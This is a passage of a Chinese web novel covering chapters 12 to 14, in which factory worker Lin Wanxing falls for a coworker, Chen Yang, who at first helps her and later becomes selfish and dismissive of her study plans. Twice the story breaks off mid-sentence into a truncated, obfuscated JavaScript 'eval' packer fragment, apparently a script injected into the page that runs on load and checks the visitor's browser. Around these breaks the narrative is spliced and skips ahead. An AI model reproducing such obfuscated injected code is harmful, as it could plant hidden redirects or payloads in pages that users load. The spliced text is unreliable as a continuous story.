晚星接过传单,看着那些被弄脏、揉皱的纸张,鼻尖一酸,眼泪终于忍不住掉了下来。不是因为委屈,而是因为在这冰冷的夜晚,在她最无助的时候,有人毫不犹豫地站出来保护她。这份突如其来的温暖,让常年独自承受一切的她,再也忍不住绷不住情绪。 陈阳看到她哭了,顿时有些手足无措,连忙从口袋里掏出纸巾,递到她面前:“对不起,是不是我刚才太凶了?你别害怕,他们不会再回来了。”他的语气里带着一丝焦急,眼神里满是关切,全然没有了刚才面对醉酒男人时的威慑。 晚星接过纸巾,用力擦了擦眼泪,摇了摇头,哽咽着说:“不是,我没事,就是……谢谢你。如果不是你,我真的不知道该怎么办了。”她努力平复着情绪,声音渐渐平稳了些,“我叫林晚星,在恒鑫电子厂装配车间做工。前几日……谢谢你问路时,还关心我。” “原来你也在恒鑫厂。”陈阳笑了笑,眉眼瞬间柔和下来,“我叫陈阳,在技术部。前几日路过这里,刚好迷路了,多亏了你指路。没想到会在这里再遇到你,还看到你被刁难。”他看着晚星手里的传单,又看了看她身上单薄的马甲,忍不住问道,“这么冷的天,你还在这里发传单?是兼职吗?” 晚星点了点头,将揉皱的传单整理好,放进随身的袋子里:“嗯,晚上兼职发传单,能多赚点钱。”她没有多说家里的情况,也没有提自考的事,习惯性地将自己的难处藏在心底。 陈阳看出她不想多说,便没有追问,只是脱下自己的羽绒服外套,递到她面前:“披上吧,外面风大,你穿得太少了,容易感冒。”他的外套上还带着淡淡的体温和洗衣液的清香,让晚星下意识愣了愣,没有立刻接过。 “拿着吧,我不冷。”陈阳笑着把外套塞进她手里,“我里面穿了毛衣,你快披上,别冻坏了。你还要发多久?我陪你一会儿,免得再遇到刚才那样的人。” 晚星握着那件带着体温的外套,心里暖暖的,眼眶又微微发热。长这么大,除了张琪和张桂兰,很少有人会这样关心她。她抬头看向陈阳,他的笑容干净而温暖,像冬日里穿透云层的阳光,照亮了她灰暗的生活。她犹豫了一下,还是将外套披在了身上,外套很大,裹住了她瘦小的身形,带来满满的安全感。 “谢谢你。”晚星小声道谢,脸颊泛起淡淡的红晕,有些不好意思地低下头,“我还剩几十张传单,发完就可以走了。不用麻烦你陪我,你也赶紧回家休息吧。” “不麻烦,反正我也没事。”陈阳说着,便拿起她手里的一部分传单,“我帮你一起发,这样能快一点结束。”不等晚星拒绝,他便朝着过往的行人递了过去,语气自然地重复着传单上的话术,比晚星还要熟练几分。 晚星看着他的身影,心里泛起一丝异样的情愫。他明明和自己不熟,却愿意出手帮她解围,还脱下外套给她,陪着她一起发传单。在这冰冷的冬夜,这份突如其来的善意,像一束阳光,猝不及防地照进了她封闭已久的心底。她深吸一口气,压下心底的悸动,也拿起传单,和陈阳一起在路口分发。 有了陈阳的帮忙,传单分发得快了许多。他性格开朗,很会说话,总能笑着和路人沟通,大多数人都愿意接过他递来的传单,甚至会停下脚步询问几句。晚星站在他身边,看着他温和的笑容和从容的模样,心里的紧张和不安渐渐消散,脸上也露出了久违的轻松笑容。 偶尔有路人好奇地问他们是不是情侣,晚星都会立刻红着脸解释,陈阳则会笑着打圆场,化解她的尴尬。寒风依旧刺骨,可晚星却觉得浑身都暖暖的,不仅是因为身上的外套,更是因为身边人的陪伴。 半个多小时后,最后一张传单也发完了。晚星收起袋子,对着陈阳深深鞠了一躬:“陈阳,今天真的太谢谢你了。不仅帮我解围,还陪我发完了传单。”她一边说,一边脱下外套,想要还给陈阳,“外套还给你,谢谢你。” 陈阳却按住了她的手,笑着说:“不用急着还我,你先披着吧。你住在哪里?我送你回去,晚上不安全。” 晚星愣了愣,连忙摇头:“不用不用,我住的地方不远,坐公交几站就到了,很安全的。外套我还是还给你,不然你会感冒的。” “我真的不冷。”陈阳固执地把外套又披回她身上,“这么晚了,你一个女孩子坐公交,我不放心。我刚好有电动车,送你回去也方便。就这么定了,不然我明天去厂里,也会不踏实的。”他的语气带着一丝不容拒绝的温柔,眼神里满是关切。 晚星看着他真诚的眼神,心里的防线彻底瓦解。她点了点头,小声说:“那……麻烦你了。我住在城南的惠民小区。” “好,走吧。”陈阳笑了笑,拎起她手里的袋子,率先朝着步行街出口走去。晚星跟在他身后,看着他挺拔的背影,裹紧了身上的外套,鼻尖萦绕着他身上淡淡的清香,心里泛起一阵甜甜的悸动。这是她第一次,在陌生的城市里,感受到除了闺蜜之外的温暖与安全感。 陈阳的电动车停在步行街出口的停车处,他细心地从车筐里拿出一个头盔,递给晚星:“戴上吧,安全。”晚星接过头盔,笨拙地戴在头上,却怎么也系不好带子。陈阳见状,便停下脚步,转过身帮她系好,指尖不经意间碰到她的脸颊,两人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯。”晚星点了点头,脸颊依旧泛着红晕,“那我上去了,你路上也注意安全。谢谢你,陈阳。” “不客气,快上去吧。”陈阳挥了挥手,看着晚星走进小区大门,直到她的身影消失在楼道口,才转身发动电动车离开。 晚星回到宿舍时,张琪正坐在床上看书,看到她回来,连忙放下书,凑了过来:“晚星,你回来了!今天怎么这么早?咦,你身上怎么有男人的外套味道?”张琪的鼻子很灵,一下子就闻到了晚星身上淡淡的清香,眼神里满是好奇。 晚星的脸颊瞬间红透,连忙低下头,把今天在街头被刁难、陈阳出手解围的事,一五一十地告诉了张琪。她没有隐瞒自己对陈阳的好感,说起陈阳时,眼里满是羞涩与温柔。 “哇!陈阳?是不是技术部那个长得又帅、性格又好的男生?”张琪眼睛一亮,激动地说,“我就说他是个好人!没想到他居然帮了你这么大的忙,还送你回来,看来他对你也有点意思哦!” “你别瞎说。”晚星害羞地推了张琪一下,“他就是热心肠,刚好遇到了,才帮我的。我们就是互留了联系方式,以后在厂里互相照应一下而已。”话虽这么说,她的心里却泛起甜甜的悸动。 “好好好,我不瞎说。”张琪笑着打趣她,“不过晚星,陈阳真的是个不错的人,性格开朗,为人正直,家里条件也还可以。你要是对他有好感,就好好把握。这么多年,你一直一个人扛着所有事,也该有人疼你、照顾你了。” 晚星点了点头,心里暖暖的。她拿出手机,看着微信里陈阳的头像——是一张夕阳下的风景照,和他给人的感觉一样,温暖而治愈。她犹豫了一下,给陈阳发了一条消息:“我到家了,谢谢你送我回来,路上注意安全。” 消息刚发出去,就收到了陈阳的回复:“好,到家就好。早点休息,别太累了。明天厂里见。”后面还跟着一个微笑的表情。 晚星看着那条消息,嘴角不自觉地扬起,心里像被灌满了甜甜的蜂蜜。她放下手机,躺在床上,脑海里一遍遍回放着晚上的画面——陈阳挡在她身前的背影、温和的笑容、带着体温的外套,还有他沉稳的心跳。 窗外的寒风依旧呼啸,可晚星的心里却暖意融融。她知道,自己对这个阳光开朗的男生,已经动了心。这份突如其来的情愫,像一颗种子,在她心底悄然扎根。她不知道未来会怎样,也不敢奢望太多,可她却隐隐期待着,能和陈阳有更多的接触,能再感受到那份久违的、阳光般的温暖。 她闭上眼睛,脑海里全是陈阳的身影,脸上带着淡淡的笑容,渐渐进入了梦乡。这一夜,她没有再梦到流水线上的疲惫、兼职的奔波,也没有梦到原生家庭的压力,只梦到了一片温暖的阳光,和一个穿着黑色羽绒服、笑容干净的男生,向她伸出了手。 第二天清晨,晚星早早地醒了过来,精神比往常好了许多。她收拾好自己,提前来到车间,刚走到工位旁,就看到陈阳从身边走过。陈阳也看到了她,笑着朝她点了点头,眼神温柔:“早啊,晚星。” 晚星的脸颊瞬间红透,连忙低下头,小声回应:“早……早啊,陈阳。” 陈阳走到她身边,停下脚步,递过来一个热乎乎的肉包和一杯豆浆:“给你,刚买的,还热着。快吃吧,不然一会儿凉了。” 晚星抬起头,看着陈阳手里的早餐,心里暖暖的,眼眶微微发热。她接过早餐,小声说:“谢谢你,又让你破费了。” “不客气。”陈阳笑了笑,“以后要是早上没时间买早餐,就告诉我,我帮你带一份。我先走了,还要去技术部交接工作。”说着,便转身离开了,留下晚星一个人站在工位旁,手里握着温热的早餐,心里满是甜蜜与期待。 张琪走到她身边,拍了拍她的肩膀,笑着挤了挤眼睛:“看吧,我就说他对你有意思。晚星,好好把握,这可是你的缘分。” 晚星点了点头,咬了一口肉包,甜美的味道在嘴里化开,心里也泛起甜甜的涟漪。她知道,自己的生活,或许会因为这个阳光般的男生,变得不一样起来。而她与陈阳的故事,才刚刚开始。 13. 第 13 章 清晨的恒鑫电子厂还浸在朦胧的晨光里,车间外的空地上已有零星工人往来,机器启动的低沉声响渐渐划破寂静。晚星刚走到装配车间门口,就看见陈阳靠在栏杆旁等她,手里拎着两个温热的早餐袋,黑色羽绒服在微凉的空气里显得格外干净挺拔。 “早啊。”陈阳看见她,立刻直起身笑起来,眉眼弯成温和的弧度,快步走上前将其中一个早餐袋递过来,“刚买的肉包和小米粥,粥还热着,快趁热吃。”他的指尖不经意擦过晚星的手背,带着淡淡的暖意,让晚星刚睡醒的混沌瞬间消散,脸颊泛起浅浅的红晕。 “又麻烦你了。”晚星接过早餐袋,小声道谢,指尖攥着温热的袋子,心里也跟着暖起来。自从那天街头解围后,陈阳便每天都来等她,早餐从不重样,有时是包子豆浆,有时是油条稀饭,总能精准踩在她到车间的时间点上。 “不麻烦,我顺路。”陈阳笑着摆手,目光落在她略显疲惫的眼底,轻声问道,“昨晚兼职又到很晚?看你眼底有黑眼圈。” 晚星点了点头,拆开早餐袋咬了一口肉包,甜咸的滋味在嘴里化开:“嗯,发完传单快十点了,回来又看了会儿书。再过阵子要开始毕业证备考,得抓紧时间。”提起求学计划,她眼底瞬间泛起光亮,连疲惫都淡了几分。 陈阳看着她眼里的光,愣了愣,随即笑道:“慢慢来,别太累了。身体要紧,实在忙不过来,兼职可以先停几天。”他语气里的关切不掺半点敷衍,让晚星心里泛起一阵柔软。这些年,除了张琪,从没人这样细致地叮嘱她照顾自己。 两人并肩往车间走,偶尔有相熟的工人路过,会笑着打趣两句“陈阳又给女朋友送早餐啊”,晚星立刻红着脸低头,陈阳却不反驳,只笑着打圆场“别瞎说,同事间互相照应”,语气里却没有排斥的意味,反而让晚星的心跳慢了半拍。 走进车间,张琪早已在工位上等着,看见两人一起进来,立刻挤了挤眼睛,凑到晚星身边小声打趣:“可以啊晚星,陈阳这是把你宠上天了,天天早餐不重样,我都羡慕了。” 晚星把小米粥放在桌上,脸颊依旧发烫,小声道:“你别瞎说,他就是热心肠。”话虽这么说,却忍不住抬头望向技术部的方向,恰好看见陈阳也回头看过来,两人目光相撞,晚星连忙低下头,心跳快得像要冲出胸膛。 流水线启动后,晚星很快投入工作,指尖在零件间快速穿梭,脑海里却时不时闪过陈阳的笑容。这些日子的细碎关怀,像春日里的细雨,一点点浸润着她封闭已久的心。从前她的世界里只有做工、兼职、学习,连喘息的时间都很少,可陈阳的出现,让她枯燥疲惫的生活里多了一抹亮色。 午休时,晚星刚走出车间,就看见陈阳在楼下的梧桐树下等她,手里拿着一瓶温热的牛奶。“刚去食堂打饭,看见你没去,给你带了瓶牛奶。”他把牛奶递过来,“食堂今天的菜太咸,你要是不爱吃,我下午下班带你去外面吃碗面。” 晚星接过牛奶,指尖传来的温度让她心里一暖:“不用了,我带了面包,对付一口就行,下午还要赶去夜校拿复习资料。” “拿资料?我陪你去。”陈阳立刻说道,“下午我提前下班十分钟,在厂门口等你,刚好顺便送你去夜校,比你坐公交快。” 晚星本想拒绝,可看着陈阳真诚的眼神,到了嘴边的话又咽了回去,轻轻点了点头:“好,那麻烦你了。” 整个下午,晚星的心情都格外轻快,连流水线上重复的劳作都变得不那么枯燥。张琪看出她的心思,笑着说:“晚星,我看陈阳是真喜欢你,不然不会天天围着你转。你要是也喜欢他,就别总藏着掖着,趁这个机会好好处一处。” 晚星手里的动作顿了顿,脸颊泛红,轻声道:“我也不知道……他那么好,性格开朗,工作也稳定,而我……”她话说到一半就停住了,心里泛起一丝自卑。她出身普通,家里负担重,还要一边做工一边求学,和陈阳比起来,总觉得自己配不上。 “你哪里差了?”张琪拍了拍她的肩膀,语气认真,“你努力、坚韧,比厂里好多女生都强。陈阳喜欢你,肯定是看到了你的好,别瞎想。” 张琪的话像一颗定心丸,让晚星心里的自卑淡了几分。她抬头望向技术部的方向,心里隐隐泛起期待,期待着下午和陈阳的同行。 下午下班铃声响起,晚星收拾好东西快步走出车间,陈阳早已在厂门口等她,电动车擦得干干净净,车筐里还放着一个保温杯。“快上车,我给你装了点热水,路上冷,能喝一口暖身子。”陈阳帮她把头盔递过来,语气自然又细致。 晚星接过头盔戴上,小心翼翼地坐在电动车后座,双手下意识抓住陈阳腰间的衣服。和上次一样,她靠在陈阳的后背,能清晰地感受到他沉稳的心跳,心里满满的都是安全感。电动车行驶在傍晚的街道上,晚风带着一丝凉意,可晚星却觉得浑身温暖。 “你自考准备考哪个专业?”陈阳突然开口,声音被风吹得轻轻柔柔。 晚星愣了愣,随即轻声回答:“汉语言文学。我从小就喜欢看书,只是以前没机会上学,现在想弥补回来。等拿到高中毕业证,就专心准备自考,希望以后能找一份和文字相关的工作,不用再在流水线上熬着。”说起未来的计划,她的声音里满是憧憬,眼里闪烁着对美好生活的向往。 陈阳听完,沉默了片刻,才缓缓说道:“其实……女孩子没必要这么折腾。你在厂里做工,虽然累点,但收入稳定,等攒点钱,找个靠谱的人嫁了,安安稳稳过日子就挺好。自考又难又费时间,就算考上了,也不一定能找到好工作,何必给自己找罪受。” 他的话像一盆冷水,瞬间浇灭了晚星心里的热情。晚星愣在原地,抓着陈阳衣服的手不自觉收紧,心里泛起一阵失落。她从未想过,陈阳会这样看待她的求学计划。在她眼里,这是她摆脱现状、改变命运的唯一机会,可在陈阳看来,却只是“没必要的折腾”。 电动车依旧在前行,两人却陷入了沉默。晚星靠在陈阳的后背,心里五味杂陈。她理解陈阳或许是出于关心,觉得安稳的日子更好,可他不懂,那种在流水线上日复一日重复劳作、看不到未来的绝望,那种渴望通过知识改变命运的迫切。 直到电动车停在夜校门口,陈阳才察觉到不对劲,转过身看向晚星,发现她低着头,情绪低落。“怎么了?是不是我说错话了?”陈阳的语气里带着一丝慌乱,伸手想碰她的肩膀,又犹豫着收了回去。 晚星摇了摇头,摘下头盔,勉强挤出一个笑容:“没有,我没事。谢谢你送我过来,你赶紧回去吧,路上注意安全。”她的声音带着一丝不易察觉的疏离,和刚才说起求学计划时的雀跃判若两人。 陈阳看着她眼底的失落,心里泛起一丝愧疚:“晚星,我不是故意要泼你冷水,我只是觉得,安稳一点对你更好。你要是真喜欢看书,平时兼职之余看看就好,没必要非要自考。” “我知道你是为我好。”晚星抬头看向他,眼神里带着一丝委屈,却依旧坚定,“可这不是折腾,这是我想走的路。我不想一辈子都在流水线上做工,我想有更多的选择,想靠自己的力量过上更好的日子。”这是她第一次在陈阳面前袒露自己的心声,语气里满是对命运的不甘和对未来的执着。 陈阳看着她坚定的眼神,心里的愧疚更甚。他张了张嘴,想说些什么,却又不知道该说什么。他明白晚星的坚韧,知道自己劝不动她,只能轻轻叹了口气:“对不起,是我不懂。你想考就考吧,我支持你。只是别太累了,照顾好自己。” 听到他的话,晚星心里的失落稍稍缓解了一些。她知道陈阳是真心关心她,只是两人的价值观不同。她点了点头,轻声说:“我知道了,谢谢你。我进去上课了。” “嗯,下课给我发消息,我来接你。”陈阳看着她,眼神里满是温柔,刚才的分歧似乎没有影响他的关怀。 晚星没有拒绝,转身走进夜校。看着她的身影消失在教学楼门口,陈阳才转身发动电动车离开。他心里有些烦躁,既担心晚星太累,又怕自己刚才的话伤了她的心。他只是觉得,女孩子不用那么拼,他可以照顾她,让她过安稳的日子,可他却忘了,晚星想要的,从来不是依附别人的安稳。 夜校的课程依旧枯燥,可晚星却没怎么听进去,脑海里反复回响着陈阳的话。她心里很矛盾,一方面,她贪恋陈阳带来的温暖和关怀,把他当作疲惫生活里的精神支柱;另一方面,她又无法接受两人在价值观上的分歧。她不知道,这样的感情,是否能长久。 课间休息时,晚星拿出手机,看着微信里陈阳的头像,犹豫了很久,还是没有发消息。这时,张琪发来消息:“怎么样,和陈阳相处得挺好吧?他没再对你做什么暖心的事?” 晚星看着消息,鼻尖一酸,打字回复:“他对我很好,可他不支持我自考,说我没必要折腾,让我安安稳稳在厂里做工。” 消息发出去没多久,张琪就打来电话,语气激动:“什么?他怎么能这么说!这可是你唯一的机会啊!他是不是觉得你太拼了,以后会比他强?” “应该不是。”晚星坐在走廊的长椅上,声音低落,“我觉得他是真心为我好,只是我们想的不一样。他觉得安稳最好,可我不想一辈子都被困在厂里。” “傻丫头,安稳也分哪种安稳。”张琪的语气软了下来,“他能对你好是好事,可如果他不支持你的梦想,以后你们在一起,肯定会有很多矛盾。你再好好想想,别因为一时的温暖,就放弃自己的计划。” 晚星点了点头,轻声说:“我知道。我不会放弃自考的,只是……我有点难过,我以为他会懂我。” “慢慢来,或许他只是还不理解。”张琪安慰道,“你可以多跟他说说你的想法,让他知道,这对你来说有多重要。如果他真的喜欢你,总会慢慢理解你的。” 挂了电话,晚星心里的情绪稍稍平复了一些。张琪说得对,或许陈阳只是暂时不理解,她可以慢慢跟他解释,让他知道,她的坚持不是无理取闹,而是对未来的渴望。她不想因为这件事就放弃陈阳带来的温暖,她太需要这样一束光,照亮她灰暗的生活了。 课程结束后,晚星走出教学楼,就看见陈阳靠在电动车旁等她,手里拿着一杯热奶茶。“刚路过奶茶店,给你买的,温热的,甜而不腻。”陈阳把奶茶递过来,语气里带着一丝小心翼翼,似乎怕她还在生气。 晚星接过奶茶,指尖传来的温度让她心里一暖。她抬头看向陈阳,发现他眼底满是愧疚和不安,心里的怨气瞬间消散了大半。“对不起,下午我语气不好。”晚星轻声说,“我知道你是为我好。” “该说对不起的是我。”陈阳连忙说道,“我不该随便否定你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这很正常啊,两个人在一起,哪有完全合拍的。”张琪笑着说,“只要他真心喜欢你,愿意为你妥协,慢慢磨合就好了。你也别想太多,好好复习,等他出差回来,你们的感情肯定会更好。” 晚星点了点头,心里的担忧淡了几分。她拿出手机,给陈阳发了一条消息:“我到家了,你路上注意安全。出差顺利,照顾好自己。” 很快,陈阳就回复了消息:“好,放心吧。你早点休息,别熬夜看书。等我回来,带你去吃你爱吃的那家牛肉面。”后面跟着一个爱心的表情。 晚星看着消息,嘴角不自觉地扬起,心里像被灌满了甜甜的蜂蜜。她放下手机,躺在床上,脑海里一遍遍回放着陈阳的样子,他的笑容、他的叮嘱、他温柔的动作,都让她心里泛起甜甜的悸动。 虽然两人之间还有价值观的分歧,虽然未来还有很多不确定,但晚星却充满了期待。她渴望这份感情能长久,渴望陈阳能一直陪伴在她身边,也渴望自己能早日实现求学梦想,和陈阳一起,过上更好的日子。 接下来的三天,陈阳每天都会给晚星发消息、打电话,跟她讲出差的趣事,叮嘱她按时吃饭、注意安全。晚星也会跟他分享自己的学习进度,告诉她兼职时遇到的小事。两人虽然不见面,感情却依旧在稳步升温。 陈阳出差回来那天,特意提前了半天,在厂门口等晚星下班。他手里拎着一个袋子,里面装着当地的特产,还有一束小小的向日葵。“给你的,向日葵代表阳光,就像你一样,永远充满希望。”陈阳把向日葵递过来,眼神温柔得能滴出水来。 晚星接过向日葵,鼻尖萦绕着淡淡的花香,心里暖暖的。她看着陈阳,脸上露出了灿烂的笑容,这是她来到这个城市后,笑得最轻松、最开心的一次。 “谢谢你。”晚星轻声说。 “傻瓜,跟我还客气。”陈阳笑着揉了揉她的头发,“走,我带你去吃牛肉面,兑现承诺。” 两人并肩走在夕阳下,影子被拉得很长。晚星手里捧着向日葵,身边是她喜欢的人,心里满是幸福。她知道,两人之间或许还会有矛盾和分歧,但只要彼此真心相待、愿意磨合,就一定能一起走下去。这份在细碎关怀中滋生的情愫,正在慢慢发酵,绽放出最美的模样。而她的求学之路,也会在这份温暖的陪伴下,走得更加坚定。 吃牛肉面的时候,陈阳突然开口:“晚星,我想了想,你自考的事,我会全力支持你。以后你复习需要资料,我帮你买;你想去图书馆,我陪你去。我以前总觉得安稳最好,可我忘了,你想要的,是属于自己的精彩。我不想成为你的阻碍,我想陪着你,一起变成更好的人。” 晚星手里的筷子顿了顿,抬头看向陈阳,眼里泛起了泪光。她知道,陈阳是真的理解她了,是真的愿意为了她,改变自己的想法。这份包容和支持,比任何甜言蜜语都更让她感动。 “谢谢你,陈阳。”晚星的声音带着一丝哽咽,却满是幸福。 陈阳笑着握住她的手,她的手有些凉,他用力攥了攥,给她传递温暖:“傻瓜,我们之间,不用说谢谢。以后的路,我陪你一起走。” 晚星点了点头,泪水忍不住掉了下来,这一次,是幸福的泪水。她知道,自己的生活,因为陈阳的出现,真的不一样了。而她与陈阳的故事,也会在这份相互理解、相互支持中,继续温暖地书写下去。 14. 第 14 章 三月的风渐渐褪去了冬日的凛冽,带着几分温和的暖意,拂过恒鑫电子厂的围墙。傍晚的厂区门口,人流渐渐密集,结束了一天劳作的工人们说说笑笑地往外走,自行车、电动车的铃声与交谈声交织在一起,透着烟火气的热闹。晚星跟在张琪身后,手里攥着刚从食堂买的馒头,心里却有些心不在焉,目光不自觉地往技术部下班的方向瞟。 自从陈阳出差回来,两人的关系又近了一步。他会每天依旧准时送早餐,偶尔晚上接她下夜校,路过小吃摊时会给她买一串烤红薯,却再也没提过陪她去图书馆、帮她买自考资料的事。晚星心里虽有一丝落差,却很快被相处时的甜蜜冲淡——对她而言,这份被人放在心上的感觉,早已是难得的温暖。 “又在找陈阳呢?”张琪戳了戳她的胳膊,语气带着几分调侃,却又藏着一丝不易察觉的担忧,“我看你这几天魂不守舍的,满脑子都是他。” 晚星的脸颊瞬间泛红,连忙低下头咬了一口馒头,小声辩解:“我没有……就是想着他今天说要给我带厂里附近那家糕点铺的桂花糕。” 张琪无奈地摇了摇头,没再多说。这些日子,她看着晚星为了陈阳满心欢喜,也看着陈阳对晚星的付出越来越流于表面,心里总觉得不踏实。陈阳看似温和体贴,可骨子里却透着一股安于现状的懒散,甚至有些自私,可每次提醒晚星,都被晚星以“他只是不擅长表达”挡了回来。 正说着,一道熟悉的身影从人群中走了出来。陈阳穿着干净的蓝色工装,袖口挽到小臂,手里拎着一个纸袋子,远远就朝着晚星挥了挥手,笑容明媚:“晚星!这里!” 晚星立刻眼睛一亮,快步走上前,把手里的馒头塞进张琪手里:“张琪,我先跟他走了,明天给你带早餐。”不等张琪回应,就已经跑到了陈阳身边,语气里满是雀跃:“你今天下班好快,桂花糕买到了吗?” “当然买到了,特意提前五分钟溜出来排的队。”陈阳把纸袋子递给她,伸手自然地揉了揉她的头发,目光扫过她手里空空如也,随口问道,“你晚饭就吃这个?” “嗯,食堂的菜今天不合胃口,凑活吃点就行。”晚星拆开纸袋子,拿起一块桂花糕咬了一口,甜香在嘴里化开,心里也甜甜的。她没说,其实是为了攒钱给陈阳买生日礼物,她这几天都在省吃俭用,晚饭要么啃馒头,要么就买一份最便宜的素菜。 陈阳也没多想,拉着她的手腕往路边走:“走,我带你去吃点好的,总啃馒头对身体不好。”他的语气带着几分不容拒绝,晚星心里一暖,乖乖地跟着他走,完全没注意到陈阳只是习惯性地掌控节奏,而非真的在意她的饮食。 两人走到厂区附近的小吃街,陈阳径直走进一家馄饨店,熟稔地喊道:“老板,来一碗鲜肉馄饨,多放辣。” 晚星愣了愣,小声问道:“你不点我的份吗?” “哦,忘了问你了。”陈阳挠了挠头,语气带着几分敷衍,“你想吃什么?自己点吧,我今天工资还没发,手头有点紧。” 晚星心里的暖意淡了几分,却还是笑着摇了摇头:“我不饿,刚才吃了馒头和桂花糕,够了。你吃吧,我陪你。”其实她肚子饿得咕咕叫,可看着陈阳理所当然的样子,到了嘴边的话又咽了回去,反而下意识地想迁就他。 陈阳也没推辞,自顾自地等着馄饨,期间刷着手机,偶尔和晚星聊两句厂里的琐事,话题始终围绕着自己。晚星坐在对面,看着他眉飞色舞地讲着技术部的趣事,眼神里满是迷恋,完全忽略了陈阳从未主动问过她的学习进度,也没关心过她兼职是否辛苦。 吃完馄饨,陈阳付了钱,两人并肩往惠民小区的方向走。夕阳把两人的影子拉得很长,晚星下意识地想牵陈阳的手,却又有些羞涩,手指微微蜷缩着,落在身侧。 走到小区门口不远处的梧桐树下,陈阳突然停下脚步,转过身看向晚星。暮色渐浓,路灯还未亮起,他的眼神在昏暗的光线下显得格外认真。晚星被他看得有些紧张,心跳不由得加快,下意识地低下头:“怎么了?” “晚星,我有话想对你说。”陈阳深吸一口气,语气带着几分不易察觉的紧张,伸手轻轻握住她的手。他的手掌温暖而有力,晚星的心跳瞬间漏了一拍,脸颊滚烫,连呼吸都变得急促起来。 “我喜欢你。”陈阳的声音不算响亮,却清晰地传入晚星耳中,“从第一次在街头帮你解围,看到你倔强又脆弱的样子,我就动心了。这阵子和你相处,我越来越确定,我想和你在一起。你愿意做我女朋友吗?” 晚星猛地抬头看向他,眼里满是震惊与狂喜,泪水瞬间涌了上来。她等这句话等了很久,从陈阳每天送早餐、陪她下班,到出差时的叮嘱,她早已在心里悄悄喜欢上了这个阳光的男生。此刻听到他的告白,所有的期待与悸动都化作泪水,她用力点了点头,哽咽着说:“我愿意。” 陈阳脸上露出灿烂的笑容,用力把她抱进怀里。晚星靠在他的胸膛,能清晰地感受到他的心跳,心里满是幸福,仿佛所有的辛苦与委屈都有了归宿。她紧紧抱着陈阳的腰,把脸埋在他的怀里,贪婪地感受着这份来之不易的温暖。 那一夜,晚星躺在床上,翻来覆去睡不着觉,脑海里一遍遍回放着陈阳的告白与拥抱,嘴角始终挂着笑容。她拿出手机,看着两人的聊天记录,一点点回味着相处时的点滴,心里暗暗下定决心,要好好经营这份感情,珍惜这个对她好的人。 两人正式确立关系后,晚星更是把所有心思都放在了陈阳身上。她依旧每天按时上班、兼职、复习,却挤出所有能挤出的时间陪陈阳。为了给陈阳买生日礼物,她更是省到了极致——兼职发传单时,哪怕口渴得厉害,也舍不得买一瓶矿泉水;晚饭只啃一块馒头配咸菜,把省下来的钱一点点攒起来,想着给陈阳买他之前提过想要的那副蓝牙耳机。 陈阳生日那天,晚星特意提前结束兼职,拿着攒了一个月的钱,去电子城买了那副耳机。耳机花了她近五百块,是她大半个月的兼职收入,可看着手里精致的包装盒,她心里满是期待,想着陈阳收到礼物时开心的样子。 她在厂区门口等陈阳下班,手里紧紧攥着礼物盒,紧张又兴奋。陈阳走出来看到她,笑着走过来:“怎么在这里等我?今天不用兼职吗?” “我请假了,今天是你生日呀。”晚星把礼物盒递到他面前,脸颊泛红,语气带着几分羞涩,“给你的生日礼物,不知道你喜不喜欢。” 陈阳愣了愣,接过礼物盒拆开,看到里面的蓝牙耳机,眼里闪过一丝惊喜,随即又恢复了平淡,随口说道:“谢谢,还挺好看的。”他把耳机放进兜里,没有立刻戴上,也没有给晚星准备任何礼物,甚至连一句像样的感谢都没有。 晚星心里的期待淡了几分,却还是笑着说:“你喜欢就好,我看你之前说想要一副耳机,就给你买了。” “嗯,有心了。”陈阳拉着她的手,语气敷衍,“走,带你去吃碗面,就当庆祝生日了。” 那天晚上,陈阳只带她去了一家最便宜的面馆,点了两碗面,甚至没加一个卤蛋。晚星看着面前清汤寡水的面条,心里有些失落,可看着陈阳吃得津津有味的样子,又立刻安慰自己:陈阳手头紧,不是故意的,他心里是有我的。 日子一天天过去,晚星对陈阳的付出越来越多。她会提前帮陈阳洗好工装,晾干叠整齐送到他手里;会记得他所有的喜好,吃饭时主动给他夹菜;甚至会把自己兼职攒的钱拿出来,给陈阳买烟、买饮料。可陈阳却很少为她付出,除了偶尔的口头关心,几乎从未给她买过任何东西,也从未陪她去发过一次传单,更别说帮她分担复习的压力。 有一次,晚星发传单时淋了雨,回到宿舍后发起了高烧。她给陈阳打电话,想让他送点药过来,陈阳却在电话里语气不耐烦地说:“我正在和同事开黑呢,你自己去药店买点药不行吗?这点小事都要找我。”说完就挂了电话,再也没打过来。 晚星握着冰冷的手机,躺在床上,心里又酸又涩,泪水忍不住掉了下来。那天晚上,是张琪给她端水喂药,守在她身边照顾了一整夜。看着张琪疲惫的身影,晚星心里满是愧疚,却还是忍不住为陈阳辩解:“他可能是真的很忙,不是故意不关心我的。” 张琪看着她执迷不悟的样子,又气又心疼,忍不住说道:“晚星,你能不能清醒一点?他到底对你好不好,你心里难道不清楚吗?你为他省吃俭用买礼物,为他洗衣做饭,可他呢?你生病他不管,你兼职辛苦他不问,甚至连你的生日都记不住,这就是你说的心里有你?” “他只是不擅长表达,而且他工作也很累。”晚星低下头,小声反驳,语气却有些底气不足。 “累?谁不累啊?”张琪提高了声音,语气激动,“你每天比他还累,又要上班又要兼职还要复习,你都能抽出时间照顾他,他就不能为你花一点心思吗?我看他根本就是自私,只想着享受你的付出,根本没把你放在心上。而且他这个人一点上进心都没有,每天就想着上班混日子,下班打游戏,从来不想着以后,你跟着他,有什么未来可言?” 张琪的话像一把刀子,戳中了晚星心里最不愿承认的地方。其实她也隐约感觉到了陈阳的自私与不上进,可她太害怕失去这份温暖了,只能一次次自欺欺人,忽略那些不安的信号。 “张琪,你别这么说他。”晚星的声音带着一丝哽咽,却依旧固执,“他只是暂时还没找到方向,等我们再稳定一点,他会改变的。我们现在很好,我相信他。” “你简直无可救药!”张琪看着她深陷其中的样子,无奈地叹了口气,“我是为了你好,不想看你最后受委屈。你非要一头撞南墙,我也拦不住你,只是希望你能留个心眼,别把所有心思都放在他身上,别到最后一无所有。”

